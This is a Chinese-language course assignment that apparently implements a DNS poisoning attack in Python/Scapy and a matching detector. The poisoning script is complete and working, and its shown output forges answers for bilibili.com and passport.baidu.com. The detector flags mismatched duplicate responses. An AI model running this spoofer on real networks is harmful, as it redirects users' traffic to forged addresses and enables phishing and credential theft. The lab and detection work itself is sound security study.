Assignment: DNS Poisoning

被巨人城墙保护的小组

1 环境

OS：Ubuntu 22.04 LTS

语言：Python 3.x

依赖包：Scapy、netifaces、tcpdump等。

2 DNS poison

2.1 设计思路

- dnspoison从指定或默认端口嗅探数据包，可使用BPF语句对流量进行过滤。
- 对于每一个捕获到的包，对其执行回调函数：查询它的DNS Question Record，如果请求对象是hostnames中指定的攻击对象，则创建并发送一个欺骗数据包，其中DNS Resource Record中的rdata为伪造的地址。
- 如果没有指定hostnames文件，回调函数将对每个嗅探到的包创建一个复制数据包并发回原端口。

2.2 代码实现

```
from scapy.all import *
import netifaces
import argparse

conf.sniff_promisc=1
pkts = []

def getip(iface):
    if iface in netifaces.interfaces():
        return netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']

def spoofcallback(interface,filename):
    def dnsspoof(pkt):
        # print(pkt.show())
        pkts.append(pkt)
        wrpcap("my_dnspoison.pcap", pkts)
        if (pkt.haslayer(DNSQR) and pkt[DNS].qdcount==1 and pkt[DNS].ancount==0): # DNS
question record
            print(str(pkt[DNSQR].qname))
            if filename:
                pairs=dict(line.split() for line in open(filename))
                for key, value in pairs.items():
                    if key in str(pkt[DNSQR].qname):
                        print("==========TARGET OCCUR==========")
                        redirect_to = value
```

```
                        spoofed_pkt = Ether(dst=pkt[Ether].src,src=pkt[Ether].dst)/\
                        IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                        UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                        DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1,
an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))
                        sendp(spoofed_pkt,iface=interface)
                        print('Sent:', spoofed_pkt.show())
                        break;
                    else:
                        print("==========NOT TARGET==========")
            else:
                    redirect_to = getip(interface)
                    spoofed_pkt = Ether()/\
                IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1,
an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))
                    sendp(spoofed_pkt,iface=interface)
                    print('Sent:', spoofed_pkt.show())
    return dnsspoof


parser=argparse.ArgumentParser(add_help=False)
parser.add_argument('-i',help='interface name',required=False)
parser.add_argument('-f',help='hostnames file',required=False)
parser.add_argument('--expression',help='BPF filter expression',required=False)
args=parser.parse_args()

if args.i:
    interface = args.i
else:
    interface=netifaces.gateways()['default'][netifaces.AF_INET][1]

if args.expression:
    filterexpr='udp port 53 and ' + args.expression
else:
    filterexpr='udp port 53'

print(args)
print("Poisoning starting...")

sniff(filter=filterexpr, iface=interface, store=0, prn=spoofcallback(interface,args.f))
```

2.3 运行

```
python dnspoison.py [-i interface] [-f hostnames] expression
```

- -i：指定网卡，省略则选择默认网卡。
- -f：指定包含欺骗目标与伪造地址映射的hostnames文件。
- expression：BPF语句，用于过滤流量。
- eg：sudo python dnspoison.py -f hostnames

2.4 部分输出

- 向后缀为bilibili.com的域名发出的请求，dnspoison会伪造rdata为0.0.0.0的数据包。

```
==========TARGET OCCUR==========
.
Sent 1 packets.
###[ Ethernet ]###
  dst       = 00:50:56:fc:2c:03
  src       = 00:0c:29:2c:e1:85
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = None
     tos       = 0x0
     len       = None
     id        = 1
     flags     =
     frag      = 0
     ttl       = 64
     proto     = udp
     chksum    = None
     src       = 192.168.6.131
     dst       = 192.168.6.2
     \options   \
###[ UDP ]###
        sport     = 43768
        dport     = domain
        len       = None
        chksum    = None
###[ DNS ]###
           id        = 1599
           qr        = 1
           opcode    = QUERY
           aa        = 1
           tc        = 0
           rd        = 1
           ra        = 0
           z         = 0
           ad        = 0
           cd        = 0
           rcode     = ok
           qdcount   = 1
           ancount   = 1
           nscount   = 0
           arcount   = 0
           \qd        \
            |###[ DNS Question Record ]###
            |  qname     = 'data.bilibili.com.w.cdngslb.com.'
            |  qtype     = AAAA
            |  qclass    = IN
           \an        \
            |###[ DNS Resource Record ]###
```

```
            |  rrname    = 'data.bilibili.com.w.cdngslb.com.'
            |  type      = A
            |  rclass    = IN
            |  ttl       = 10
            |  rdlen     = None
            |  rdata     = 0.0.0.0
           ns        = None
           ar        = None
```

- 向后缀为baidu.com的域名发出的请求，dnspoison会伪造rdata为123.234.56.78的数据包。

```
==========TARGET OCCUR==========
.
Sent 1 packets.
###[ Ethernet ]###
  dst       = 00:0c:29:2c:e1:85
  src       = 00:50:56:fc:2c:03
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = None
     tos       = 0x0
     len       = None
     id        = 1
     flags     =
     frag      = 0
     ttl       = 64
     proto     = udp
     chksum    = None
     src       = 192.168.6.2
     dst       = 192.168.6.131
     \options   \
###[ UDP ]###
        sport     = domain
        dport     = 57440
        len       = None
        chksum    = None
###[ DNS ]###
           id        = 63845
           qr        = 1
           opcode    = QUERY
           aa        = 1
           tc        = 0
           rd        = 1
           ra        = 0
           z         = 0
           ad        = 0
           cd        = 0
           rcode     = ok
           qdcount   = 1
           ancount   = 1
           nscount   = 0
```

```
           arcount   = 0
           \qd        \
            |###[ DNS Question Record ]###
            |  qname     = 'passport.baidu.com.'
            |  qtype     = AAAA
            |  qclass    = IN
           \an        \
            |###[ DNS Resource Record ]###
            |  rrname    = 'passport.baidu.com.'
            |  type      = A
            |  rclass    = IN
            |  ttl       = 10
            |  rdlen     = None
            |  rdata     = 123.234.56.78
           ns        = None
           ar        = None
```

- my_dnspoison.pcap是部分攻击过程的抓包文件。

3 DNS detect

3.1 设计思路

- dnspoison从指定或默认端口嗅探数据包，可使用BPF语句对流量进行过滤。或从抓包记录文件中获取。
- 对于每一个捕获到的包，对其执行回调函数：如果它包含DNS Resource Record，则检查具有事务id的数据包是否存在于全局字典中，否则将其添加到该字典中。
- 如果捕获的数据包已经存在于全局字典中，我们检查其rdata是否相同。如果不同，打印DNS投毒企图。
- 同时也检查捕获的数据包和全局字典中的数据包的ttl值是否相同。如果不同，打印DNS投毒企图。

3.2 代码实现

```
from scapy.all import *
import netifaces
import argparse
import datetime

conf.sniff_promisc=1
packets={}

def getip(iface):
    if iface in netifaces.interfaces():
        return netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']

def printdetect(pkt,packet):
    print(datetime.datetime.now(),"DNS poisoning attempt")
    print("TXID",pkt[DNS].id,"Request",pkt[DNSQR].qname[:-1])
    print("Answer1")
    for i in range(0,pkt[DNS].ancount):
        print(pkt[DNSRR][i].rdata)
    print("Answer2")
```

```
    for i in range(0,packet[DNS].ancount):
        print(packet[DNSRR][i].rdata)
    print("\n")

def detectcallback(interface):
    def dnsdet(pkt):
        #print(pkt.show())
        if (pkt.haslayer(DNSQR) and pkt[DNS].ancount>=1): # DNS response record
            if pkt[DNS].id in packets.keys():
                if pkt[Ether].src!=packets[pkt[DNS].id][Ether].src:
                    printdetect(pkt,packets[pkt[DNS].id])
                else:
                    for i in range(0,pkt[DNS].ancount):
                        if pkt[DNSRR][i].rrname==pkt[DNSQR].qname:
                            anpkt=pkt[DNSRR][i]
                    for i in range(0,packets[pkt[DNS].id][DNS].ancount):
                        if packets[pkt[DNS].id][DNSRR][i].rrname==pkt[DNSQR].qname:
                            anpacket=packets[pkt[DNS].id][DNSRR][i]
                    if anpkt.ttl!=anpacket.ttl:
                        printdetect(pkt,packets[pkt[DNS].id])
            else:
                packets[pkt[DNS].id] = pkt

    return dnsdet


parser=argparse.ArgumentParser(add_help=False)
parser.add_argument('-i',help='interface name',required=False)
parser.add_argument('-r',help='pcap trace file',required=False)
parser.add_argument('--expression',help='BPF filter expression',required=False)
args=parser.parse_args()

if args.i:
    interface = args.i
else:
    interface=netifaces.gateways()['default'][netifaces.AF_INET][1]

if args.expression:
    filterexpr='udp port 53 and ' + args.expression
else:
    filterexpr='udp port 53'

if args.r:
    sniff(filter=filterexpr, offline=args.r, prn=detectcallback(interface))
else:
    sniff(filter=filterexpr, iface=interface, store=0, prn=detectcallback(interface))
```

3.3 运行

```
python dnsdetect.py [-i interface] [-r tracefile] expression
```

- -i：指定网卡，省略则选择默认网卡。
- -r：指定攻击过程的抓包记录文件。
- expression：BPF语句，用于过滤流量。
- eg：sudo python dnsdetect.py -r sample.pcap

3.4 部分输出

- 使用的sample.pcap来源于github项目[1]，记录了对以下四个网站进行DNS攻击的过程：
  - www.exam.com 0.0.0.0
  - www.8people.com 123.234.56.78
  - www.test.com 123.234.56.78
  - www.yahoo1.com 123.234.56.78

```
reading from file sample.pcap, link-type EN10MB (Ethernet), snapshot length 262144
2024-04-25 04:27:36.946053 DNS poisoning attempt
TXID 16632 Request b'www.yahoo1.com'
Answer1
b'rc.yahoo.com.'
b'src.g03.yahoodns.net.'
212.82.100.150
Answer2
123.234.56.78


2024-04-25 04:27:36.948702 DNS poisoning attempt
TXID 24105 Request b'www.exam.com'
Answer1
104.27.171.253
104.27.170.253
Answer2
0.0.0.0


2024-04-25 04:27:36.951504 DNS poisoning attempt
TXID 34269 Request b'www.8people.com'
Answer1
b'8people.com.'
208.109.97.221
Answer2
123.234.56.78
```

4 Reference

1. SnehaPathrose/DNSSpoofAndDetect · github ↩